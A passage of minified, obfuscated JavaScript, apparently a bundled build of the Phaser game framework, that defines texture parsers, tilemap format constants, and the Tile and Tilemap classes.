_0x55e764, 0x93bd: _0x55e764, 0x93d0: _0x55e764, 0x93d1: _0x55e764, 0x93d2: _0x55e764, 0x93d3: _0x55e764, 0x93d4: _0x55e764, 0x93d5: _0x55e764, 0x93d6: _0x55e764, 0x93d7: _0x55e764, 0x93d8: _0x55e764, 0x93d9: _0x55e764, 0x93da: _0x55e764, 0x93db: _0x55e764, 0x93dc: _0x55e764, 0x93dd: _0x55e764, 0x8e8c: _0x5f4d61, 0x8e8d: _0x5f4d61, 0x8e8e: _0x5f4d61, 0x8e8f: _0x5f4d61, 0x8dbb: _0x5f4d61, 0x8dbc: _0x5f4d61, 0x8dbd: _0x5f4d61, 0x8dbe: _0x5f4d61, 0x8c00: _0x3eb446, 0x8c01: _0x3eb446, 0x8c02: _0x3eb446, 0x8c03: _0x3eb446, 0x83f0: _0x5f4d61, 0x83f1: _0x5f4d61, 0x83f2: _0x5f4d61, 0x83f3: _0x5f4d61, 0x8c4c: _0x402e29, 0x8c4d: _0x402e29, 0x8c4e: _0x402e29, 0x8c4f: _0x402e29 }; _0x827e15['exports'] = function (_0x4a4aa8) { for (var _0x108da5 = _0x4a4aa8['mipmaps'], _0x59fc2e = 0x1; _0x59fc2e < _0x108da5['length']; _0x59fc2e++) { var _0x4e71bc = _0x108da5[_0x59fc2e]['width'], _0x2a1342 = _0x108da5[_0x59fc2e]['height']; if (!_0x1fd35a(_0x4e71bc, _0x2a1342)) return !0x1; } var _0x26f7a2 = _0x2f8321[_0x4a4aa8['internalFormat']]; return !_0x26f7a2 || _0x26f7a2(_0x4a4aa8); }; }, 0xef7d: (_0x36218d, _0x3fdfcd, _0x54dfeb) => { _0x36218d['exports'] = { 'AtlasXML': _0x54dfeb(0x15f31), 'Canvas': _0x54dfeb(0x11cbd), 'Image': _0x54dfeb(0x12e0), 'JSONArray': _0x54dfeb(0x132e6), 'JSONHash': _0x54dfeb(0x9b1f), 'KTXParser': _0x54dfeb(0x7aab), 'PVRParser': _0x54dfeb(0x14076), 'SpriteSheet': _0x54dfeb(0x1271d), 'SpriteSheetFromAtlas': _0x54dfeb(0xb9ae), 'UnityYAML': _0x54dfeb(0x15083) }; }, 0x139d5: _0x3e39dc => { _0x3e39dc['exports'] = { 'CSV': 0x0, 'TILED_JSON': 0x1, 'ARRAY_2D': 0x2, 'WELTMEISTER': 0x3 }; }, 0x4098: (_0x5cad6c, _0x5d4d66, _0x193d41) => { var _0x179aaa = new (_0x193d41(0x145db))({ 'initialize': function (_0x449528, _0x306021, _0x142557, _0x514ecf, _0x3517cc, _0x505094, _0x251e26) { (void 0x0 === _0x142557 || _0x142557 <= 0x0) && (_0x142557 = 0x20), (void 0x0 === _0x514ecf || _0x514ecf <= 0x0) && (_0x514ecf = 0x20), void 0x0 === _0x3517cc && (_0x3517cc = 0x0), void 0x0 === _0x505094 && (_0x505094 = 0x0), this['name'] = _0x449528, this['firstgid'] = 0x0 | _0x306021, this['imageWidth'] = 0x0 | _0x142557, this['imageHeight'] = 0x0 | _0x514ecf, this['imageMargin'] = 0x0 | _0x3517cc, this['imageSpacing'] = 0x0 | _0x505094, this['properties'] = _0x251e26 || {}, this['images'] = [], this['total'] = 0x0; }, 'containsImageIndex': function (_0x29c671) { return _0x29c671 >= this['firstgid'] && _0x29c671 < this['firstgid'] + this['total']; }, 'addImage': function (_0x9a8214, _0x20542d) { return this['images']['push']({ 'gid': _0x9a8214, 'image': _0x20542d }), this['total']++, this; } }); _0x5cad6c['exports'] = _0x179aaa; }, 0x6b46: (_0x39c1c2, _0x25d56b, _0x2a44ba) => { var _0x164209 = new (_0x2a44ba(0x145db))({ 'initialize': function (_0x13763c) { if (this['gids'] = [], void 0x0 !== _0x13763c) { for (var _0x346da1 = 0x0; _0x346da1 < _0x13763c['length']; ++_0x346da1)for (var _0x3a410b = _0x13763c[_0x346da1], _0x497fbf = 0x0; _0x497fbf < _0x3a410b['total']; ++_0x497fbf)this['gids'][_0x3a410b['firstgid'] + _0x497fbf] = _0x3a410b; } this['_gids'] = this['gids']; }, 'enabled': { 'get': function () { return !!this['gids']; }, 'set': function (_0x29baf2) { this['gids'] = _0x29baf2 ? this['_gids'] : void 0x0; } }, 'getTypeIncludingTile': function (_0x563531) { if (void 0x0 !== _0x563531['type'] && '' !== _0x563531['type']) return _0x563531['type']; if (this['gids'] && void 0x0 !== _0x563531['gid']) { var _0xdb5f69 = this['gids'][_0x563531['gid']]; if (_0xdb5f69) { var _0x4efcbc = _0xdb5f69['getTileData'](_0x563531['gid']); if (_0x4efcbc) return _0x4efcbc['type']; } } }, 'setTextureAndFrame': function (_0xe73a71, _0x150d92, _0x4e1395, _0x56bed8) { if (null === _0x150d92 && this['gids'] && void 0x0 !== _0x56bed8['gid']) { var _0xa27cfa = this['gids'][_0x56bed8['gid']]; _0xa27cfa && (null === _0x150d92 && void 0x0 !== _0xa27cfa['image'] && (_0x150d92 = _0xa27cfa['image']['key']), null === _0x4e1395 && (_0x4e1395 = _0x56bed8['gid'] - _0xa27cfa['firstgid']), _0xe73a71['scene']['textures']['getFrame'](_0x150d92, _0x4e1395) || (_0x150d92 = null, _0x4e1395 = null)); } _0xe73a71['setTexture'](_0x150d92, _0x4e1395); }, 'setPropertiesFromTiledObject': function (_0x2f93f2, _0x536b76) { if (void 0x0 !== this['gids'] && void 0x0 !== _0x536b76['gid']) { var _0x5d9802 = this['gids'][_0x536b76['gid']]; void 0x0 !== _0x5d9802 && this['setFromJSON'](_0x2f93f2, _0x5d9802['getTileProperties'](_0x536b76['gid'])); } this['setFromJSON'](_0x2f93f2, _0x536b76['properties']); }, 'setFromJSON': function (_0x5e3bdf, _0x24426d) { if (_0x24426d) { if (Array['isArray'](_0x24426d)) for (var _0x2f3e5b = 0x0; _0x2f3e5b < _0x24426d['length']; _0x2f3e5b++) { var _0x37e224 = _0x24426d[_0x2f3e5b]; void 0x0 !== _0x5e3bdf[_0x37e224['name']] ? _0x5e3bdf[_0x37e224['name']] = _0x37e224['value'] : _0x5e3bdf['setData'](_0x37e224['name'], _0x37e224['value']); } else { for (var _0x242071 in _0x24426d) void 0x0 !== _0x5e3bdf[_0x242071] ? _0x5e3bdf[_0x242071] = _0x24426d[_0x242071] : _0x5e3bdf['setData'](_0x242071, _0x24426d[_0x242071]); } } } }); _0x39c1c2['exports'] = _0x164209; }, 0x7cf5: (_0x49ad10, _0x4bfefa, _0x231c47) => { var _0x42960f = _0x231c47(0x139d5), _0x2e490a = _0x231c47(0x153e2), _0x4aaf7f = _0x231c47(0xb461), _0x3a4dd9 = _0x231c47(0xbfb3); _0x49ad10['exports'] = function (_0x3c8146, _0x1b3b26, _0x1e5cb9, _0x1140ff, _0x15abf8, _0x381e5f, _0x4405f2, _0xd7bfdd) { void 0x0 === _0x1e5cb9 && (_0x1e5cb9 = 0x20), void 0x0 === _0x1140ff && (_0x1140ff = 0x20), void 0x0 === _0x15abf8 && (_0x15abf8 = 0xa), void 0x0 === _0x381e5f && (_0x381e5f = 0xa), void 0x0 === _0xd7bfdd && (_0xd7bfdd = !0x1); var _0x562b48 = null; if (Array['isArray'](_0x4405f2)) _0x562b48 = _0x4aaf7f(void 0x0 !== _0x1b3b26 ? _0x1b3b26 : 'map', _0x42960f['ARRAY_2D'], _0x4405f2, _0x1e5cb9, _0x1140ff, _0xd7bfdd); else { if (void 0x0 !== _0x1b3b26) { var _0x395311 = _0x3c8146['cache']['tilemap']['get'](_0x1b3b26); _0x395311 && (_0x562b48 = _0x4aaf7f(_0x1b3b26, _0x395311['format'], _0x395311['data'], _0x1e5cb9, _0x1140ff, _0xd7bfdd)); } } return null === _0x562b48 && (_0x562b48 = new _0x2e490a({ 'tileWidth': _0x1e5cb9, 'tileHeight': _0x1140ff, 'width': _0x15abf8, 'height': _0x381e5f })), new _0x3a4dd9(_0x3c8146, _0x562b48); }; }, 0x59f5: (_0x5bbccd, _0x1f8afe, _0x5e2156) => { var _0xa190d6 = _0x5e2156(0x145db), _0x528e90 = _0x5e2156(0x7aa9), _0x47fcfc = _0x5e2156(0x16703), _0x14f705 = _0x5e2156(0xf4b4), _0x55a888 = _0x5e2156(0x16c30), _0x3ccef7 = new _0xa190d6({ 'Mixins': [_0x528e90['AlphaSingle'], _0x528e90['Flip'], _0x528e90['Visible']], 'initialize': function (_0x4e39a4, _0x3569a8, _0x7fc11, _0x2fc044, _0x3234e6, _0x1d082f, _0x1ffd0d, _0x53f319) { this['layer'] = _0x4e39a4, this['index'] = _0x3569a8, this['x'] = _0x7fc11, this['y'] = _0x2fc044, this['width'] = _0x3234e6, this['height'] = _0x1d082f, this['right'], this['bottom'], this['baseWidth'] = void 0x0 !== _0x1ffd0d ? _0x1ffd0d : _0x3234e6, this['baseHeight'] = void 0x0 !== _0x53f319 ? _0x53f319 : _0x1d082f, this['pixelX'] = 0x0, this['pixelY'] = 0x0, this['updatePixelXY'](), this['properties'] = {}, this['rotation'] = 0x0, this['collideLeft'] = !0x1, this['collideRight'] = !0x1, this['collideUp'] = !0x1, this['collideDown'] = !0x1, this['faceLeft'] = !0x1, this['faceRight'] = !0x1, this['faceTop'] = !0x1, this['faceBottom'] = !0x1, this['collisionCallback'] = void 0x0, this['collisionCallbackContext'] = this, this['tint'] = 0xffffff, this['tintFill'] = !0x1, this['physics'] = {}; }, 'containsPoint': function (_0x33fa30, _0x14bf24) { return !(_0x33fa30 < this['pixelX'] || _0x14bf24 < this['pixelY'] || _0x33fa30 > this['right'] || _0x14bf24 > this['bottom']); }, 'copy': function (_0x1c2222) { return this['index'] = _0x1c2222['index'], this['alpha'] = _0x1c2222['alpha'], this['properties'] = _0x14f705(_0x1c2222['properties']), this['visible'] = _0x1c2222['visible'], this['setFlip'](_0x1c2222['flipX'], _0x1c2222['flipY']), this['tint'] = _0x1c2222['tint'], this['rotation'] = _0x1c2222['rotation'], this['collideUp'] = _0x1c2222['collideUp'], this['collideDown'] = _0x1c2222['collideDown'], this['collideLeft'] = _0x1c2222['collideLeft'], this['collideRight'] = _0x1c2222['collideRight'], this['collisionCallback'] = _0x1c2222['collisionCallback'], this['collisionCallbackContext'] = _0x1c2222['collisionCallbackContext'], this; }, 'getCollisionGroup': function () { return this['tileset'] ? this['tileset']['getTileCollisionGroup'](this['index']) : null; }, 'getTileData': function () { return this['tileset'] ? this['tileset']['getTileData'](this['index']) : null; }, 'getLeft': function (_0x5135e8) { var _0x211f21 = this['tilemapLayer']; return _0x211f21 ? _0x211f21['tileToWorldXY'](this['x'], this['y'], void 0x0, _0x5135e8)['x'] : this['x'] * this['baseWidth']; }, 'getRight': function (_0x13dc72) { var _0x28117c = this['tilemapLayer']; return _0x28117c ? this['getLeft'](_0x13dc72) + this['width'] * _0x28117c['scaleX'] : this['getLeft'](_0x13dc72) + this['width']; }, 'getTop': function (_0x114496) { var _0x1873e8 = this['tilemapLayer']; return _0x1873e8 ? _0x1873e8['tileToWorldXY'](this['x'], this['y'], void 0x0, _0x114496)['y'] : this['y'] * this['baseWidth'] - (this['height'] - this['baseHeight']); }, 'getBottom': function (_0x229b0c) { var _0x4925e3 = this['tilemapLayer']; return _0x4925e3 ? this['getTop'](_0x229b0c) + this['height'] * _0x4925e3['scaleY'] : this['getTop'](_0x229b0c) + this['height']; }, 'getBounds': function (_0x4471d5, _0x3ed6d6) { return void 0x0 === _0x3ed6d6 && (_0x3ed6d6 = new _0x55a888()), _0x3ed6d6['x'] = this['getLeft'](_0x4471d5), _0x3ed6d6['y'] = this['getTop'](_0x4471d5), _0x3ed6d6['width'] = this['getRight'](_0x4471d5) - _0x3ed6d6['x'], _0x3ed6d6['height'] = this['getBottom'](_0x4471d5) - _0x3ed6d6['y'], _0x3ed6d6; }, 'getCenterX': function (_0x424dfa) { return (this['getLeft'](_0x424dfa) + this['getRight'](_0x424dfa)) / 0x2; }, 'getCenterY': function (_0x155520) { return (this['getTop'](_0x155520) + this['getBottom'](_0x155520)) / 0x2; }, 'intersects': function (_0x219795, _0x337ca5, _0x920055, _0x4027c5) { return !(_0x920055 <= this['pixelX'] || _0x4027c5 <= this['pixelY'] || _0x219795 >= this['right'] || _0x337ca5 >= this['bottom']); }, 'isInteresting': function (_0x4fbf9b, _0x366085) { return _0x4fbf9b && _0x366085 ? this['canCollide'] || this['hasInterestingFace'] : _0x4fbf9b ? this['collides'] : !!_0x366085 && this['hasInterestingFace']; }, 'resetCollision': function (_0x31832a) { return void 0x0 === _0x31832a && (_0x31832a = !0x0), this['collideLeft'] = !0x1, this['collideRight'] = !0x1, this['collideUp'] = !0x1, this['collideDown'] = !0x1, this['faceTop'] = !0x1, this['faceBottom'] = !0x1, this['faceLeft'] = !0x1, this['faceRight'] = !0x1, _0x31832a && this['tilemapLayer'] && this['tilemapLayer']['calculateFacesAt'](this['x'], this['y']), this; }, 'resetFaces': function () { return this['faceTop'] = !0x1, this['faceBottom'] = !0x1, this['faceLeft'] = !0x1, this['faceRight'] = !0x1, this; }, 'setCollision': function (_0x3ef8c3, _0x4685ba, _0x4a7415, _0x521afa, _0x433902) { return void 0x0 === _0x4685ba && (_0x4685ba = _0x3ef8c3), void 0x0 === _0x4a7415 && (_0x4a7415 = _0x3ef8c3), void 0x0 === _0x521afa && (_0x521afa = _0x3ef8c3), void 0x0 === _0x433902 && (_0x433902 = !0x0), this['collideLeft'] = _0x3ef8c3, this['collideRight'] = _0x4685ba, this['collideUp'] = _0x4a7415, this['collideDown'] = _0x521afa, this['faceLeft'] = _0x3ef8c3, this['faceRight'] = _0x4685ba, this['faceTop'] = _0x4a7415, this['faceBottom'] = _0x521afa, _0x433902 && this['tilemapLayer'] && this['tilemapLayer']['calculateFacesAt'](this['x'], this['y']), this; }, 'setCollisionCallback': function (_0x12889f, _0x4f37ed) { return null === _0x12889f ? (this['collisionCallback'] = void 0x0, this['collisionCallbackContext'] = void 0x0) : (this['collisionCallback'] = _0x12889f, this['collisionCallbackContext'] = _0x4f37ed), this; }, 'setSize': function (_0x333031, _0x42583e, _0x3bffba, _0x2f9ce8) { return void 0x0 !== _0x333031 && (this['width'] = _0x333031), void 0x0 !== _0x42583e && (this['height'] = _0x42583e), void 0x0 !== _0x3bffba && (this['baseWidth'] = _0x3bffba), void 0x0 !== _0x2f9ce8 && (this['baseHeight'] = _0x2f9ce8), this['updatePixelXY'](), this; }, 'updatePixelXY': function () { var _0x56f778 = this['layer']['orientation']; if (_0x56f778 === _0x47fcfc['ORTHOGONAL']) this['pixelX'] = this['x'] * this['baseWidth'], this['pixelY'] = this['y'] * this['baseHeight']; else { if (_0x56f778 === _0x47fcfc['ISOMETRIC']) this['pixelX'] = (this['x'] - this['y']) * this['baseWidth'] * 0.5, this['pixelY'] = (this['x'] + this['y']) * this['baseHeight'] * 0.5; else { if (_0x56f778 === _0x47fcfc['STAGGERED']) this['pixelX'] = this['x'] * this['baseWidth'] + this['y'] % 0x2 * (this['baseWidth'] / 0x2), this['pixelY'] = this['y'] * (this['baseHeight'] / 0x2); else { if (_0x56f778 === _0x47fcfc['HEXAGONAL']) { var _0x264782, _0x50d610, _0x908def = this['layer']['staggerAxis'], _0x382fec = this['layer']['staggerIndex'], _0x10b334 = this['layer']['hexSideLength']; 'y' === _0x908def ? (_0x50d610 = (this['baseHeight'] - _0x10b334) / 0x2 + _0x10b334, this['pixelX'] = 'odd' === _0x382fec ? this['x'] * this['baseWidth'] + this['y'] % 0x2 * (this['baseWidth'] / 0x2) : this['x'] * this['baseWidth'] - this['y'] % 0x2 * (this['baseWidth'] / 0x2), this['pixelY'] = this['y'] * _0x50d610) : 'x' === _0x908def && (_0x264782 = (this['baseWidth'] - _0x10b334) / 0x2 + _0x10b334, this['pixelX'] = this['x'] * _0x264782, this['pixelY'] = 'odd' === _0x382fec ? this['y'] * this['baseHeight'] + this['x'] % 0x2 * (this['baseHeight'] / 0x2) : this['y'] * this['baseHeight'] - this['x'] % 0x2 * (this['baseHeight'] / 0x2)); } } } } return this['right'] = this['pixelX'] + this['baseWidth'], this['bottom'] = this['pixelY'] + this['baseHeight'], this; }, 'destroy': function () { this['collisionCallback'] = void 0x0, this['collisionCallbackContext'] = void 0x0, this['properties'] = void 0x0; }, 'canCollide': { 'get': function () { return this['collideLeft'] || this['collideRight'] || this['collideUp'] || this['collideDown'] || void 0x0 !== this['collisionCallback']; } }, 'collides': { 'get': function () { return this['collideLeft'] || this['collideRight'] || this['collideUp'] || this['collideDown']; } }, 'hasInterestingFace': { 'get': function () { return this['faceTop'] || this['faceBottom'] || this['faceLeft'] || this['faceRight']; } }, 'tileset': { 'get': function () { var _0x45397a = this['layer']['tilemapLayer']; if (_0x45397a) { var _0x7f28af = _0x45397a['gidMap'][this['index']]; if (_0x7f28af) return _0x7f28af; } return null; } }, 'tilemapLayer': { 'get': function () { return this['layer']['tilemapLayer']; } }, 'tilemap': { 'get': function () { var _0x935bc3 = this['tilemapLayer']; return _0x935bc3 ? _0x935bc3['tilemap'] : null; } } }); _0x5bbccd['exports'] = _0x3ccef7; }, 0xbfb3: (_0x27cee6, _0x2ceceb, _0x11ee84) => { var _0x3cb91a = _0x11ee84(0x14885), _0x4dfa03 = _0x11ee84(0x145db), _0x465f51 = _0x11ee84(0x9a52), _0x2b4522 = _0x11ee84(0x139d5), _0x1205d2 = _0x11ee84(0x17534), _0x51d4f0 = _0x11ee84(0x3a81), _0x2793ac = _0x11ee84(0x6b46), _0x410ef1 = _0x11ee84(0x16703), _0x5b9c56 = _0x11ee84(0x8dd1), _0x22b79b = _0x11ee84(0x4abd), _0x20c86f = _0x11ee84(0x10abf), _0x5b44ef = _0x11ee84(0x59f5), _0x2dd651 = _0x11ee84(0x13cbe), _0x585f59 = _0x11ee84(0x4fda), _0x555832 = _0x11ee84(0x835d), _0x3a12c0 = new _0x4dfa03({ 'initialize': function (_0x348d6a, _0xd762b9) { this['scene'] = _0x348d6a, this['tileWidth'] = _0xd762b9['tileWidth'], this['tileHeight'] = _0xd762b9['tileHeight'], this['width'] = _0xd762b9['width'], this['height'] = _0xd762b9['height'], this['orientation'] = _0xd762b9['orientation'], this['renderOrder'] = _0xd762b9['renderOrder'], this['format'] = _0xd762b9['format'], this['version'] = _0xd762b9['version'], this['properties'] = _0xd762b9['properties'], this['widthInPixels'] = _0xd762b9['widthInPixels'], this['heightInPixels'] = _0xd762b9['heightInPixels'], this['imageCollections'] = _0xd762b9['imageCollections'], this['images'] = _0xd762b9['images'], this['layers'] = _0xd762b9['layers'], this['tiles'] = _0xd762b9['tiles'], this['tilesets'] = _0xd762b9['tilesets'], this['objects'] = _0xd762b9['objects'], this['currentLayerIndex'] = 0x0, this['hexSideLength'] = _0xd762b9['hexSideLength']; var _0x163c62 = this['orientation']; this['_convert'] = { 'WorldToTileXY': _0x2dd651['GetWorldToTileXYFunction'](_0x163c62), 'WorldToTileX': _0x2dd651['GetWorldToTileXFunction'](_0x163c62), 'WorldToTileY': _0x2dd651['GetWorldToTileYFunction'](_0x163c62), 'TileToWorldXY': _0x2dd651['GetTileToWorldXYFunction'](_0x163c62), 'TileToWorldX': _0x2dd651['GetTileToWorldXFunction'](_0x163c62), 'TileToWorldY': _0x2dd651['GetTileToWorldYFunction'](_0x163c62), 'GetTileCorners': _0x2dd651['GetTileCornersFunction'](_0x163c62) }; }, 'setRenderOrder': function (_0x43b977) { var _0x3a7758 = ['right-down', 'left-down', 'right-up', 'left-up']; return 'number' == typeof _0x43b977 && (_0x43b977 = _0x3a7758[_0x43b977]), _0x3a7758['indexOf'](_0x43b977) > -0x1 && (this['renderOrder'] = _0x43b977), this; }, 'addTilesetImage': function (_0x2078a7, _0x31fbf9, _0x3adf3e, _0x502fab, _0x1126c9, _0x411c50, _0x45bba1, _0x12852b) { if (void 0x0 === _0x2078a7) return null; null == _0x31fbf9 && (_0x31fbf9 = _0x2078a7); var _0x2af506 = this['scene']['sys']['textures']; if (!_0x2af506['exists'](_0x31fbf9)) return null; var _0x586074 = _0x2af506['get'](_0x31fbf9), _0x8c97c9 = this['getTilesetIndex'](_0x2078a7); if (null === _0x8c97c9 && this['format'] === _0x2b4522['TILED_JSON']) return null; var _0x30c7c1 = this['tilesets'][_0x8c97c9]; return _0x30c7c1 ? ((_0x3adf3e || _0x502fab) && _0x30c7c1['setTileSize'](_0x3adf3e, _0x502fab), (_0x1126c9 || _0x411c50) && _0x30c7c1['setSpacing'](_0x1126c9, _0x411c50), _0x30c7c1['setImage'](_0x586074), _0x30c7c1) : (void 0x0 === _0x3adf3e && (_0x3adf3e = this['tileWidth']), void 0x0 === _0x502fab && (_0x502fab = this['tileHeight']), void 0x0 === _0x1126c9 && (_0x1126c9 = 0x0), void 0x0 === _0x411c50 && (_0x411c50 = 0x0), void 0x0 === _0x45bba1 && (_0x45bba1 = 0x0), void 0x0 === _0x12852b && (_0x12852b = { 'x': 0x0, 'y': 0x0 }), (_0x30c7c1 = new _0x555832(_0x2078a7, _0x45bba1, _0x3adf3e, _0x502fab, _0x1126c9, _0x411c50, void 0x0, void 0x0, _0x12852b))['setImage'](_0x586074), this['tilesets']['push'](_0x30c7c1), this['tiles'] = _0x3cb91a(this), _0x30c7c1); }, 'copy': function (_0x3c0539, _0x9e2d8a, _0x1f04e0, _0x563e45, _0x23b9f7, _0x1577c7, _0x15188c, _0x19857f) { return null !== (_0x19857f = this['getLayer'](_0x19857f)) ? (_0x2dd651['Copy'](_0x3c0539, _0x9e2d8a, _0x1f04e0, _0x563e45, _0x23b9f7, _0x1577c7, _0x15188c, _0x19857f), this) : null; }, 'createBlankLayer': function (_0x559e83, _0x5e886c, _0x4641f0, _0x1fc799, _0x2ff744, _0x3d1ced, _0x49fe3e, _0x5d9425) { if (void 0x0 === _0x4641f0 && (_0x4641f0 = 0x0), void 0x0 === _0x1fc799 && (_0x1fc799 = 0x0), void 0x0 === _0x2ff744 && (_0x2ff744 = this['width']), void 0x0 === _0x3d1ced && (_0x3d1ced = this['height']), void 0x0 === _0x49fe3e && (_0x49fe3e = this['tileWidth']), void 0x0 === _0x5d9425 && (_0x5d9425 = this['tileHeight']), null !== this['getLayerIndex'](_0x559e83)) return null; for (var _0x54e757, _0x101e2f = new _0x51d4f0({ 'name': _0x559e83, 'tileWidth': _0x49fe3e, 'tileHeight': _0x5d9425, 'width': _0x2ff744, 'height': _0x3d1ced, 'orientation': this['orientation'] }), _0x4f2c69 = 0x0; _0x4f2c69 < _0x3d1ced; _0x4f2c69++) { _0x54e757 = []; for (var _0x2c3fb7 = 0x0; _0x2c3fb7 < _0x2ff744; _0x2c3fb7++)_0x54e757['push'](new _0x5b44ef(_0x101e2f, -0x1, _0x2c3fb7, _0x4f2c69, _0x49fe3e, _0x5d9425, this['tileWidth'], this['tileHeight'])); _0x101e2f['data']['push'](_0x54e757); } this['layers']['push'](_0x101e2f), this['currentLayerIndex'] = this['layers']['length'] - 0x1; var _0x126918 = new _0x585f59(this['scene'], this, this['currentLayerIndex'], _0x5e886c, _0x4641f0, _0x1fc799); return _0x126918['setRenderOrder'](this['renderOrder']), this['scene']['sys']['displayList']['add'](_0x126918), _0x126918; }, 'createLayer': function (_0x4657f4, _0x1549c7, _0x5f329e, _0x1ab450) { var _0x3bd9b4 = this['getLayerIndex'](_0x4657f4); if (null === _0x3bd9b4) return null; var _0x42b6bc = this['layers'][_0x3bd9b4]; if (_0x42b6bc['tilemapLayer']) return null; this['currentLayerIndex'] = _0x3bd9b4, void 0x0 === _0x5f329e && (_0x5f329e = _0x42b6bc['x']), void 0x0 === _0x1ab450 && (_0x1ab450 = _0x42b6bc['y']); var _0x5b77b9 = new _0x585f59(this['scene'], this, _0x3bd9b4, _0x1549c7, _0x5f329e, _0x1ab450); return _0x5b77b9['setRenderOrder'](this['renderOrder']), this['scene']['sys']['displayList']['add'](_0x5b77b9), _0x5b77b9; }, 'createFromObjects': function (_0x29a8df, _0x18e29b, _0x1937a5) { void 0x0 === _0x1937a5 && (_0x1937a5 = !0x0); var _0x4aafc7 = [], _0x243a65 = this['getObjectLayer'](_0x29a8df); if (!_0x243a65) return _0x4aafc7; var _0x28f9f4 = new _0x2793ac(_0x1937a5 ? this['tilesets'] : void 0x0); Array['isArray'](_0x18e29b) || (_0x18e29b = [_0x18e29b]); for (var _0x1ccd87 = _0x243a65['objects'], _0x3d72ea = 0x0; _0x3d72ea < _0x18e29b['length']; _0x3d72ea++) { var _0x293134, _0x5a0559 = _0x18e29b[_0x3d72ea], _0x322e5b = _0x1205d2(_0x5a0559, 'id', null), _0x162452 = _0x1205d2(_0x5a0559, 'gid', null), _0x348b68 = _0x1205d2(_0x5a0559, 'name', null), _0x480040 = _0x1205d2(_0x5a0559, 'type', null); _0x28f9f4['enabled'] = !_0x1205d2(_0x5a0559, 'ignoreTileset', null); for (var _0x590ed4 = [], _0x1799be = 0x0; _0x1799be < _0x1ccd87['length']; _0x1799be++)_0x293134 = _0x1ccd87[_0x1799be], (null === _0x322e5b && null === _0x162452 && null === _0x348b68 && null === _0x480040 || null !== _0x322e5b && _0x293134['id'] === _0x322e5b || null !== _0x162452 && _0x293134['gid'] === _0x162452 || null !== _0x348b68 && _0x293134['name'] === _0x348b68 || null !== _0x480040 && _0x28f9f4['getTypeIncludingTile'](_0x293134) === _0x480040) && _0x590ed4['push'](_0x293134); for (var _0x210f22 = _0x1205d2(_0x5a0559, 'classType', _0x20c86f), _0xa5ba36 = _0x1205d2(_0x5a0559, 'scene', this['scene']), _0xde2889 = _0x1205d2(_0x5a0559, 'container', null), _0x4896df = _0x1205d2(_0x5a0559, 'key', null), _0x44d6ae = _0x1205d2(_0x5a0559, 'frame', null), _0x503326 = 0x0; _0x503326 < _0x590ed4['length']; _0x503326++) { _0x293134 = _0x590ed4[_0x503326]; var _0x6e0710 = new _0x210f22(_0xa5ba36); if (_0x6e0710['setName'](_0x293134['name']), _0x6e0710['setPosition'](_0x293134['x'], _0x293134['y']), _0x28f9f4['setTextureAndFrame'](_0x6e0710, _0x4896df, _0x44d6ae, _0x293134), _0x293134['width'] && (_0x6e0710['displayWidth'] = _0x293134['width']), _0x293134['height'] && (_0x6e0710['displayHeight'] = _0x293134['height']), this['orientation'] === _0x410ef1['ISOMETRIC']) { var _0x5d046a = this['tileWidth'] / this['tileHeight'], _0x243b81 = { 'x': _0x6e0710['x'] - _0x6e0710['y'], 'y': (_0x6e0710['x'] + _0x6e0710['y']) / _0x5d046a }; _0x6e0710['x'] = _0x243b81['x'], _0x6e0710['y'] = _0x243b81['y']; } var _0x394bcc = { 'x': _0x6e0710['originX'] * _0x293134['width'], 'y': (_0x6e0710['originY'] - (_0x293134['gid'] ? 0x1 : 0x0)) * _0x293134['height'] }; if (_0x293134['rotation']) { var _0x20c8b7 = _0x465f51(_0x293134['rotation']); _0x5b9c56(_0x394bcc, _0x20c8b7), _0x6e0710['rotation'] = _0x20c8b7; } _0x6e0710['x'] += _0x394bcc['x'], _0x6e0710['y'] += _0x394bcc['y'], void 0x0 === _0x293134['flippedHorizontal'] && void 0x0 === _0x293134['flippedVertical'] || _0x6e0710['setFlip'](_0x293134['flippedHorizontal'], _0x293134['flippedVertical']), _0x293134['visible'] || (_0x6e0710['visible'] = !0x1), _0x28f9f4['setPropertiesFromTiledObject'](_0x6e0710, _0x293134), _0xde2889 ? _0xde2889['add'](_0x6e0710) : _0xa5ba36['add']['existing'](_0x6e0710), _0x4aafc7['push'](_0x6e0710); } } return _0x4aafc7; }, 'createFromTiles': function (_0x51a17b, _0x12ada9, _0x57fcf0, _0x3a896a, _0x5581d7, _0x100af6) { return null === (_0x100af6 = this['getLayer'](_0x100af6)) ? null : _0x2dd651['CreateFromTiles'](_0x51a17b, _0x12ada9, _0x57fcf0, _0x3a896a, _0x5581d7, _0x100af6); }, 'fill': function (_0x535a02, _0x4c68ca, _0x55d7fc, _0x54d515, _0x1f37fd, _0x36a11e, _0xf00a9) { return void 0x0 === _0x36a11e && (_0x36a11e = !0x0), null === (_0xf00a9 = this['getLayer'](_0xf00a9)) ? null : (_0x2dd651['Fill'](_0x535a02, _0x4c68ca, _0x55d7fc, _0x54d515, _0x1f37fd, _0x36a11e, _0xf00a9), this); }, 'filterObjects': function (_0x22def0, _0x145554, _0x482aa6) { return 'string' != typeof _0x22def0 || (_0x22def0 = this['getObjectLayer'](_0x22def0)) ? _0x22def0['objects']['filter'](_0x145554, _0x482aa6) : null; }, 'filterTiles': function (_0x517d83, _0x1e9449, _0x57a464, _0x2a29ee, _0x2d5186, _0x568749, _0x41b3bc, _0x21322a) { return null === (_0x21322a = this['getLayer'](_0x21322a)) ? null : _0x2dd651['FilterTiles'](_0x517d83, _0x1e9449, _0x57a464, _0x2a29ee, _0x2d5186, _0x568749, _0x41b3bc, _0x21322a); }, 'findByIndex': function (_0x1658c5, _0xa88835, _0x378e6d, _0x315674) { return null === (_0x315674 = this['getLayer'](_0x315674)) ? null : _0x2dd651['FindByIndex'](_0x1658c5, _0xa88835, _0x378e6d, _0x315674); }, 'findObject': function (_0x5a2434, _0x153552, _0x4ec8e2) { return ('string' != typeof _0x5a2434 || (_0x5a2434 = this['getObjectLayer'](_0x5a2434))) && _0x5a2434['objects']['find'](_0x153552, _0x4ec8e2) || null; }, 'findTile': function (_0x3fcbd7, _0x4c3e53, _0x47e696, _0xbaf8ce, _0x347df2, _0x1ced04, _0x54b319, _0x405d5f) { return null === (_0x405d5f = this['getLayer'](_0x405d5f)) ? null : _0x2dd651['FindTile'](_0x3fcbd7, _0x4c3e53, _0x47e696, _0xbaf8ce, _0x347df2, _0x1ced04, _0x54b319, _0x405d5f); }, 'forEachTile': function (_0x362264, _0x2ba70a, _0x357ff1, _0x3f1e87, _0x270a4a, _0x14fe7, _0x2d65eb, _0x16b0e6) { return null === (_0x16b0e6 = this['getLayer'](_0x16b0e6)) ? null : 